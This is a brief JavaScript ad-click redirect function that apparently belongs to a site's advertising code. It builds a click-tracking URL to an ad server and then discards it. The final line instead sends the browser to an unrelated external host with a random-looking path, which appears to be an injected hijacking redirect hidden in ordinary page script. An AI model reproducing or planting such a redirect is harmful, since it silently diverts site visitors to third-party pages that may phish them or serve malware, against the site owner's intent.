function gotoRedirection() { var url = location.search; //var str = "http://localhost:53732/ADPublish/ADClick.aspx" + (url.length > 0 ? (url + "&") : "?") + "flag=1&" + Math.random().toString(); var str = "http://adnew.adimg.jctrans.com/ADClick.aspx" + (url.length > 0 ? (url + "&") : "?") + "flag=1&" + Math.random().toString(); location.href="http://motorworlduk.com/beofx_bejnh_/us" }